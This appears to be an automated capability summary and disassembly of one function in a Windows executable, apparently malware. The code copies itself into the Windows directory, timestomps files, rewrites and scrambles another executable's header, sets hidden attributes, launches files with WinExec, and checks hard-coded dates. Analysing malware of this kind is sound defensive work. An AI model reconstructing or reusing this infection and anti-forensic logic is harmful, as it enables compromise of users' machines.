Function at 0x40520c
Capabilities:
Create process on windows
Delete file
Get common file path
Get file size
Query or enumerate registry value
Read file on windows
Set file attributes
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3b
push 0
push 0
dec ecx
jne 0x405214
push ebx
push esi
push edi
mov eax, 0x4051dc
call fcn.00403ba0
xor eax, eax
push ebp
push 0x40668c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402798
cmp eax, 2
jne 0x40527c
lea edx, [ebp - 0x14]
mov eax, 1
call fcn.004027f8
mov eax, dword [ebp - 0x14]
mov edx, 0x4066a4
call fcn.00403614
jne 0x40527c
mov edx, 0x41049c
mov eax, 2
call fcn.004027f8
mov dl, 1
mov eax, dword [0x41049c]
call fcn.004041e0
jmp 0x406661
mov byte [0x4104c8], 1
mov byte [0x4104c9], 1
mov byte [0x4104c5], 0
lea edx, [ebp - 0x18]
mov eax, 0x4066b0
call fcn.00403fdc
mov edx, dword [ebp - 0x18]
mov eax, 0x41049c
call fcn.00403398
push 0x4104cc
mov eax, dword [0x41049c]
call fcn.004036c8
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x4053b5
mov eax, 0x410498
call fcn.00403344
lea edx, [ebp - 0x1c]
mov eax, 0x4066e4
call fcn.00403fdc
mov edx, dword [ebp - 0x1c]
mov eax, 0x4104a0
call fcn.00403398
push 0x41056c
push 0
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x405364
cmp dword [0x410570], 1
jne 0x405364
mov ecx, dword [0x41056c]
dec ecx
mov eax, 0x410498
xor edx, edx
call fcn.00403434
push 0x41056c
mov eax, 0x410498
call fcn.00403720
push eax
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea edx, [ebp - 0x20]
mov eax, 0x4066fc
call fcn.00403fdc
mov edx, dword [ebp - 0x20]
mov eax, 0x410498
call fcn.004034d0
push 0xff
push 0x408764
mov eax, dword [0x410498]
call fcn.004036c8
push eax
call sub.kernel32.dll_GetShortPathNameA
test eax, eax
je 0x4053aa
mov byte [0x4104c5], 1
mov byte [0x4104c8], 0
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegCloseKey_1
call fcn.00402858
push 0xff
push 0x408764
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x24]
mov edx, 0x408764
mov ecx, pe_nt_image_headers32
call fcn.004034b0
mov edx, dword [ebp - 0x24]
mov eax, 0x410480
mov ecx, 0x406714
call fcn.00403514
mov dword [0x4105a4], 0x94
push 0x4105a4
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x40541e
cmp dword [0x4105b4], 2
jne 0x405417
mov byte [0x4104c6], 0
jmp 0x40541e
mov byte [0x4104c6], 1
call sub.kernel32.dll_GetVersion_1
and ax, 0xffff
mov word [0x4104c2], ax
lea edx, [ebp - 0x124]
mov ax, word [0x4104c2]
and ax, 0xff
movzx eax, ax
call fcn.00402954
lea edx, [ebp - 0x124]
mov eax, 0x4104a0
call fcn.004034a4
lea edx, [ebp - 0x124]
mov ax, word [0x4104c2]
shr ax, 8
movzx eax, ax
call fcn.00402954
lea edx, [ebp - 0x124]
mov eax, 0x4104a4
call fcn.004034a4
cmp dword [0x4104a4], 0
jne 0x405495
mov eax, 0x4104a4
mov edx, 0x406720
call fcn.00403398
push dword [0x4104a0]
push 0x40672c
push dword [0x4104a4]
mov eax, 0x41049c
mov edx, 3
call fcn.00403588
mov eax, dword [0x41049c]
mov edx, 0x406738
call fcn.00403614
jne 0x4054cf
mov byte [0x4104c7], 1
jmp 0x4054d6
mov byte [0x4104c7], 0
xor eax, eax
push ebp
push 0x405565
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80000000
push 0x4104d8
lea eax, [ebp - 0x128]
mov edx, 0x408764
mov ecx, pe_nt_image_headers32
call fcn.004034b0
lea eax, [ebp - 0x128]
push eax
lea edx, [ebp - 0x12c]
mov eax, 0x406744
call fcn.00403fdc
mov edx, dword [ebp - 0x12c]
pop eax
call fcn.004034d0
mov eax, dword [ebp - 0x128]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d0], eax
push 0x41057c
push 0
push 0
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_GetFileTime
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40556f
cmp byte [0x4104c6], 0
je 0x40557f
mov al, 1
call fcn.00404084
lea edx, [ebp - 0x130]
mov eax, 0x40675c
call fcn.00403fdc
mov edx, dword [ebp - 0x130]
mov eax, 0x4104b0
call fcn.00403398
lea edx, [ebp - 0x134]
mov eax, 0x40676c
call fcn.00403fdc
mov edx, dword [ebp - 0x134]
mov eax, 0x4104b4
call fcn.00403398
lea edx, [ebp - 0x138]
mov eax, 0x406784
call fcn.00403fdc
mov edx, dword [ebp - 0x138]
mov eax, 0x4104a0
call fcn.00403398
cmp byte [0x4104c6], 0
je 0x40560a
lea edx, [ebp - 0x13c]
mov eax, 0x4067c8
call fcn.00403fdc
mov edx, dword [ebp - 0x13c]
mov eax, 0x41049c
call fcn.00403398
jmp 0x40562a
lea edx, [ebp - 0x140]
mov eax, 0x4067dc
call fcn.00403fdc
mov edx, dword [ebp - 0x140]
mov eax, 0x41049c
call fcn.00403398
cmp byte [0x4104c6], 0
je 0x405647
mov eax, 0x41049c
mov ecx, 1
mov edx, 1
call fcn.00403768
mov eax, 0x41049c
mov edx, dword [0x4104a0]
call fcn.004034d0
push 0x4104cc
mov eax, dword [0x41049c]
call fcn.004036c8
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x405a0c
cmp byte [0x4104c6], 0
je 0x40569d
mov eax, 0x410484
mov ecx, dword [0x4104b0]
mov edx, dword [0x410480]
call fcn.00403514
jmp 0x405730
lea edx, [ebp - 0x144]
mov eax, 0x4067f0
call fcn.00403fdc
mov edx, dword [ebp - 0x144]
mov eax, 0x4104a0
call fcn.00403398
push 0x41056c
push 0
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x405730
cmp dword [0x410570], 1
jne 0x405730
mov ecx, dword [0x41056c]
dec ecx
mov eax, 0x410484
xor edx, edx
call fcn.00403434
push 0x41056c
mov eax, 0x410484
call fcn.00403720
push eax
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov al, byte [0x4104c6]
or al, byte [0x4104c7]
je 0x40575f
lea edx, [ebp - 0x148]
mov eax, 0x406800
call fcn.00403fdc
mov edx, dword [ebp - 0x148]
mov eax, 0x4104a0
call fcn.00403398
jmp 0x40577f
lea edx, [ebp - 0x14c]
mov eax, 0x406810
call fcn.00403fdc
mov edx, dword [ebp - 0x14c]
mov eax, 0x4104a0
call fcn.00403398
push 0x41056c
push 0
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x4057f2
cmp dword [0x410570], 1
jne 0x4057f2
mov ecx, dword [0x41056c]
dec ecx
mov eax, 0x41048c
xor edx, edx
call fcn.00403434
push 0x41056c
mov eax, 0x41048c
call fcn.00403720
push eax
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
cmp byte [0x4104c6], 0
je 0x40581d
lea edx, [ebp - 0x150]
mov eax, 0x406828
call fcn.00403fdc
mov edx, dword [ebp - 0x150]
mov eax, 0x4104a0
call fcn.00403398
jmp 0x40583d
lea edx, [ebp - 0x154]
mov eax, 0x406838
call fcn.00403fdc
mov edx, dword [ebp - 0x154]
mov eax, 0x4104a0
call fcn.00403398
push 0x41056c
push 0
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x4058b0
cmp dword [0x410570], 1
jne 0x4058b0
mov ecx, dword [0x41056c]
dec ecx
mov eax, 0x410494
xor edx, edx
call fcn.00403434
push 0x41056c
mov eax, 0x410494
call fcn.00403720
push eax
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
cmp byte [0x4104c6], 0
je 0x4058db
lea edx, [ebp - 0x158]
mov eax, 0x406848
call fcn.00403fdc
mov edx, dword [ebp - 0x158]
mov eax, 0x4104a0
call fcn.00403398
jmp 0x4058fb
lea edx, [ebp - 0x15c]
mov eax, 0x40685c
call fcn.00403fdc
mov edx, dword [ebp - 0x15c]
mov eax, 0x4104a0
call fcn.00403398
push 0x41056c
push 0
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x40596e
cmp dword [0x410570], 1
jne 0x40596e
mov ecx, dword [0x41056c]
dec ecx
mov eax, 0x410490
xor edx, edx
call fcn.00403434
push 0x41056c
mov eax, 0x410490
call fcn.00403720
push eax
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea edx, [ebp - 0x160]
mov eax, 0x406874
call fcn.00403fdc
mov edx, dword [ebp - 0x160]
mov eax, 0x4104a0
call fcn.00403398
push 0x41056c
push 0
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x405a01
cmp dword [0x410570], 1
jne 0x405a01
mov ecx, dword [0x41056c]
dec ecx
mov eax, 0x410488
xor edx, edx
call fcn.00403434
push 0x41056c
mov eax, 0x410488
call fcn.00403720
push eax
push 0x410570
push 0
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov eax, dword [0x4104cc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
push ebp
push 0x405b2f
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4104c6], 0
je 0x405a91
push 0x80000000
push 0x4104d8
lea eax, [ebp - 0x168]
mov edx, 0x408764
mov ecx, pe_nt_image_headers32
call fcn.004034b0
push dword [ebp - 0x168]
push 0x406714
push dword [0x4104b0]
lea edx, [ebp - 0x16c]
mov eax, 0x406884
call fcn.00403fdc
push dword [ebp - 0x16c]
lea eax, [ebp - 0x164]
mov edx, 4
call fcn.00403588
mov eax, dword [ebp - 0x164]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d0], eax
jmp 0x405ae2
push 0x80000000
push 0x4104d8
push dword [0x41048c]
push 0x406714
lea edx, [ebp - 0x174]
mov eax, 0x406894
call fcn.00403fdc
push dword [ebp - 0x174]
lea eax, [ebp - 0x170]
mov edx, 3
call fcn.00403588
mov eax, dword [ebp - 0x170]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d0], eax
cmp dword [0x4104d0], 0xffffffff
jne 0x405af7
push 0x410594
call sub.kernel32.dll_GetSystemTime
jmp 0x405b1a
push 0x410574
push 0
push 0
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_GetFileTime
push 0x410594
push 0x410574
call sub.kernel32.dll_FileTimeToSystemTime
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405b39
cmp byte [0x4104c6], 0
je 0x405b64
lea edx, [ebp - 0x178]
mov eax, 0x4068a8
call fcn.00403fdc
mov edx, dword [ebp - 0x178]
mov eax, 0x4104a8
call fcn.00403398
jmp 0x405b84
lea edx, [ebp - 0x17c]
mov eax, 0x4068cc
call fcn.00403fdc
mov edx, dword [ebp - 0x17c]
mov eax, 0x4104a8
call fcn.00403398
cmp byte [0x4104c6], 0
je 0x405ba1
mov eax, 0x4104a8
mov ecx, 1
mov edx, 1
call fcn.00403768
lea eax, [ebp - 0x180]
push eax
mov eax, 6
call fcn.004028d8
lea edx, [eax + eax*2]
add edx, 7
mov ecx, 3
mov eax, dword [0x4104a8]
call fcn.00403728
mov eax, dword [ebp - 0x180]
push eax
lea eax, [ebp - 0x184]
push eax
mov eax, 8
call fcn.004028d8
lea edx, [eax + eax*2]
inc edx
mov ecx, 3
mov eax, dword [0x4104a8]
call fcn.00403728
mov edx, dword [ebp - 0x184]
mov eax, 0x4104a0
pop ecx
call fcn.00403514
mov eax, dword [0x4104a0]
mov al, byte [eax]
mov edx, dword [0x4104a0]
cmp al, byte [edx + 3]
je 0x405ba1
cmp al, 0x2d
jne 0x405c2d
mov eax, 0x4104a0
mov ecx, 1
mov edx, 1
call fcn.00403768
mov eax, 0x64
call fcn.004028d8
cmp eax, 0x42
jle 0x405c5c
lea edx, [ebp - 0x188]
mov eax, 0x4068f0
call fcn.00403fdc
mov edx, dword [ebp - 0x188]
mov eax, 0x4104a0
call fcn.004034d0
push dword [0x4104a0]
push 0x40672c
lea edx, [ebp - 0x18c]
mov eax, 0x4068fc
call fcn.00403fdc
push dword [ebp - 0x18c]
mov eax, 0x4104a0
mov edx, 3
call fcn.00403588
cmp byte [0x4104c6], 0
je 0x405cb5
lea edx, [ebp - 0x190]
mov eax, dword [0x4104a0]
call fcn.00403dec
mov edx, dword [ebp - 0x190]
mov eax, 0x4104a0
call fcn.00403398
mov eax, 0x41047c
mov edx, dword [0x4104a0]
call fcn.00403398
lea edx, [ebp - 0x194]
mov eax, 0x406908
call fcn.00403fdc
mov edx, dword [ebp - 0x194]
mov eax, 0x410478
call fcn.00403398
lea edx, [ebp - 0x198]
mov eax, 0x406920
call fcn.00403fdc
mov ecx, dword [ebp - 0x198]
mov eax, 0x410474
mov edx, dword [0x410490]
call fcn.00403514
mov eax, dword [0x4070a4]
mov byte [eax], 2
push 0
push 0x4104d8
lea edx, [ebp - 0x19c]
xor eax, eax
call fcn.004027f8
mov eax, dword [ebp - 0x19c]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d0], eax
push 0
push 0x41056c
push 0x7c00
push 0x408864
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_ReadFile
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4070a4]
mov byte [eax], 0
lea edx, [ebp - 0x1a4]
xor eax, eax
call fcn.004027f8
mov eax, dword [ebp - 0x1a4]
lea edx, [ebp - 0x1a0]
call fcn.00403dec
mov eax, dword [ebp - 0x1a0]
push eax
lea edx, [ebp - 0x1a8]
mov eax, dword [0x410484]
call fcn.00403dec
mov eax, dword [ebp - 0x1a8]
pop edx
call fcn.004037b0
test eax, eax
jle 0x405ef1
cmp byte [0x4104c6], 0
je 0x405dea
push 5
lea eax, [ebp - 0x1ac]
mov ecx, dword [0x4104b4]
mov edx, dword [0x41048c]
call fcn.00403514
mov eax, dword [ebp - 0x1ac]
call fcn.004036c8
push eax
call sub.kernel32.dll_WinExec
jmp 0x405df1
xor eax, eax
call fcn.00404cc4
push 0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [0x410474]
call fcn.004036c8
mov ebx, eax
push ebx
call sub.kernel32.dll_CreateFileA
mov dword [0x4104d0], eax
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_CloseHandle
push 1
push 0x4104d8
push ebx
call sub.kernel32.dll_OpenFile
mov dword [0x4104d0], eax
push 0
push 0x41056c
push 0x7c00
push 0x408864
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileA
mov dword [0x4104d0], eax
push 0x41057c
push 0x41057c
push 0x41057c
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_SetFileTime
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_CloseHandle
push 5
push 0x406940
push dword [0x410474]
push 0x406940
push 0x40694c
push 0x406940
lea edx, [ebp - 0x1b4]
xor eax, eax
call fcn.004027f8
push dword [ebp - 0x1b4]
push 0x406940
lea eax, [ebp - 0x1b0]
mov edx, 7
call fcn.00403588
mov eax, dword [ebp - 0x1b0]
call fcn.004036c8
push eax
call sub.kernel32.dll_WinExec
jmp 0x406661
lea edx, [ebp - 0x1bc]
xor eax, eax
call fcn.004027f8
mov eax, dword [ebp - 0x1bc]
lea edx, [ebp - 0x1b8]
call fcn.00403dec
mov eax, dword [ebp - 0x1b8]
push eax
lea edx, [ebp - 0x1c0]
mov eax, dword [0x410490]
call fcn.00403dec
mov eax, dword [ebp - 0x1c0]
pop edx
call fcn.004037b0
test eax, eax
jle 0x406094
mov dword [0x4104d0], 0xffffffff
xor eax, eax
push ebp
push 0x405fb7
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1c4]
mov eax, 1
call fcn.004027f8
mov eax, dword [ebp - 0x1c4]
call fcn.004036c8
push eax
call sub.kernel32.dll_DeleteFileA
push 0x4000
push 0x4104d8
lea edx, [ebp - 0x1c8]
mov eax, 1
call fcn.004027f8
mov eax, dword [ebp - 0x1c8]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d0], eax
push 0x3e8
call sub.kernel32.dll_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405fc1
cmp dword [0x4104d0], 0xffffffff
jne 0x405f44
push 0
push 0
push 0x410560
mov ecx, 0x40506c
mov edx, 0x7d000
xor eax, eax
call fcn.00403300
call fcn.00404578
cmp byte [0x4104c5], 0
jne 0x40600b
cmp word [0x4104c0], 0x7d9
jne 0x40602a
cmp word [0x4104be], 8
ja 0x40602a
cmp word [0x4104c0], 0x7d9
jne 0x40602a
cmp word [0x4104be], 0xc
jne 0x40607b
cmp word [0x4104bc], 0x1b
jbe 0x40607b
push 0
push 0
push 0x410564
mov ecx, fcn.00405090
mov edx, 0xfa000
xor eax, eax
call fcn.00403300
push 0
push 0
push 0x410568
mov ecx, 0x4050ec
mov edx, 0xfa000
xor eax, eax
call fcn.00403300
jmp 0x40607b
push 0x410638
call sub.user32.dll_TranslateMessage
push 0x410638
call sub.user32.dll_DispatchMessageA
push 1
call sub.kernel32.dll_Sleep
push 0
push 0
push 0
push 0x410638
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x406060
jmp 0x406609
mov word [0x4104c2], 0
push 0x80000000
push 0x4104d8
push dword [0x410494]
push 0x406714
lea edx, [ebp - 0x1d0]
mov eax, 0x406894
call fcn.00403fdc
push dword [ebp - 0x1d0]
lea eax, [ebp - 0x1cc]
mov edx, 3
call fcn.00403588
mov eax, dword [ebp - 0x1cc]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d0], eax
cmp dword [0x4104d0], 0xffffffff
jne 0x406102
mov word [0x4104c2], 1
jmp 0x406116
push 0x410574
push 0
push 0
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_GetFileTime
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_CloseHandle
push 0x410584
push 0x410574
call sub.kernel32.dll_FileTimeToSystemTime
cmp word [0x4104c2], 0
jne 0x406185
mov ax, word [0x410584]
cmp ax, word [0x410594]
jne 0x406185
mov ax, word [0x410586]
cmp ax, word [0x410596]
jne 0x406185
mov ax, word [0x41058a]
cmp ax, word [0x41059a]
jne 0x406185
mov ax, word [0x41058c]
cmp ax, word [0x41059c]
jne 0x406185
mov ax, word [0x41058e]
cmp ax, word [0x41059e]
je 0x40618c
mov al, 1
call fcn.00404cc4
mov edx, 0x4104a0
xor eax, eax
call fcn.004027f8
mov eax, 0x4104a4
mov edx, dword [0x4104a0]
call fcn.00403398
jmp 0x4061cb
mov edx, dword [0x4104a4]
mov eax, 0x406714
call fcn.004037b0
mov ecx, eax
mov eax, 0x4104a4
mov edx, 1
call fcn.00403768
mov edx, dword [0x4104a4]
mov eax, 0x406714
call fcn.004037b0
test eax, eax
jg 0x4061aa
jmp 0x406202
mov edx, dword [0x4104a4]
mov eax, 0x406940
call fcn.004037b0
mov edx, eax
mov eax, 0x4104a4
mov ecx, 1
call fcn.00403768
mov edx, dword [0x4104a4]
mov eax, 0x406940
call fcn.004037b0
test eax, eax
jg 0x4061e1
push dword [0x410488]
push 0x406714
push dword [0x4104a4]
mov eax, 0x4104a4
mov edx, 3
call fcn.00403588
push 0x8000
call sub.kernel32.dll_SetErrorMode
xor edx, edx
push ebp
push 0x4065cb
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x80000000
push 0x4104d8
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d0], eax
push 0x410574
push 0
push 0
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_GetFileTime
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_CloseHandle
push 0
push 0x4104d8
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d0], eax
push 0
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_GetFileSize
mov ebx, eax
cmp ebx, 0x7c00
jbe 0x40654e
push 0x1000
push 0x4104d8
mov eax, dword [0x4104a4]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d4], eax
cmp ebx, 0xf800
ja 0x406300
push 0
push 0
push 0x7e00
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_SetFilePointer
jmp 0x40631c
push 0
push 0
mov eax, ebx
sub eax, 0x7c00
add eax, 0x200
push eax
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
push 0x410570
push pe_nt_image_headers32
push 0x408664
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_ReadFile
cmp ebx, 0xf800
ja 0x406356
push 0
push 0
push 0x7c00
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_SetFilePointer
jmp 0x40636d
push 0
push 0
mov eax, ebx
sub eax, 0x7c00
push eax
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
push 0x410570
push 0x7c00
push 0x408864
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_ReadFile
mov esi, dword [0x410570]
push 0
push 0x41056c
mov eax, dword [0x410570]
push eax
push 0x408864
mov eax, dword [0x4104d4]
push eax
call sub.kernel32.dll_WriteFile_1
push 0
push 0
push 0x7c00
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_SetFilePointer
cmp ebx, 0xf800
jbe 0x406445
push 0
push 0x410570
push 0x7c00
push 0x408864
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_ReadFile
mov eax, ebx
sub eax, 0x7c00
mov edx, dword [0x410570]
add edx, esi
cmp eax, edx
jae 0x406403
mov edx, eax
sub edx, esi
mov dword [0x410570], edx
mov esi, eax
add esi, dword [0x410570]
cmp dword [0x410570], 0
jbe 0x40642f
push 0
push 0x41056c
mov eax, dword [0x410570]
push eax
push 0x408864
mov eax, dword [0x4104d4]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [0x410570], 0
je 0x406445
mov eax, dword [0x41056c]
cmp eax, dword [0x410570]
je 0x4063c8
push 0
push 0
push 0
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
push 0x410570
push 0x7c00
push 0x408864
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_ReadFile
xor ebx, ebx
inc ebx
lea eax, [ebx + 0x7b00]
mov edx, ebx
and edx, 0x80000001
jns 0x40648a
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
jne 0x4064d4
mov dl, byte [eax + 0x408863]
cmp dl, byte [eax + 0x408862]
jbe 0x4064aa
mov al, byte [ebx + 0x408662]
sub byte [ebx + 0x408663], al
jmp 0x4064d4
mov al, byte [ebx + 0x408662]
sub byte [ebx + 0x408663], al
mov al, byte [ebx + 0x408663]
add byte [ebx + 0x408662], al
mov al, byte [ebx + 0x408662]
sub al, byte [ebx + 0x408663]
mov byte [ebx + 0x408663], al
cmp ebx, 0x100
jl 0x406474
push 0
push 0
push 0x200
mov eax, dword [0x4104d4]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
push 0x410570
push pe_nt_image_headers32
push 0x408664
mov eax, dword [0x4104d4]
push eax
call sub.kernel32.dll_WriteFile_1
push 0x410574
push 0x410574
push 0x410574
mov eax, dword [0x4104d4]
push eax
call sub.kernel32.dll_SetFileTime
mov eax, dword [0x4104d0]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4104d4]
push eax
call sub.kernel32.dll_CloseHandle
push 6
mov eax, dword [0x4104a4]
call fcn.004036c8
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0x406940
push dword [0x4104a4]
push 0x406940
mov eax, 0x4104a0
mov edx, 3
call fcn.00403588
mov ebx, 1
lea edx, [ebp - 0x1d4]
mov eax, ebx
call fcn.004027f8
mov eax, dword [ebp - 0x1d4]
call fcn.004034c8
test eax, eax
jle 0x4065bb
push dword [0x4104a0]
push 0x40694c
lea edx, [ebp - 0x1d8]
mov eax, ebx
call fcn.004027f8
push dword [ebp - 0x1d8]
mov eax, 0x4104a0
mov edx, 3
call fcn.00403588
inc ebx
cmp ebx, 0xb
jne 0x406572
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4065d5
xor eax, eax
push ebp
push 0x4065ff
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [0x4104a0]
call fcn.004036c8
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x406609
call fcn.00404578
cmp word [0x4104c0], 0x7d9
jne 0x40662d
cmp word [0x4104be], 0xc
jne 0x406634
cmp word [0x4104bc], 0x1b
jbe 0x406634
call fcn.00405090
jmp 0x406661
mov al, byte [0x4104c5]
or al, byte [0x4104c7]
je 0x406661
cmp word [0x4104c0], 0x7d9
jne 0x406656
cmp word [0x4104be], 7
jbe 0x406661
mov cl, 1
mov dl, 1
xor eax, eax
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406693
lea eax, [ebp - 0x1d8]
mov edx, 0x2d
call fcn.00403368
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00403368
ret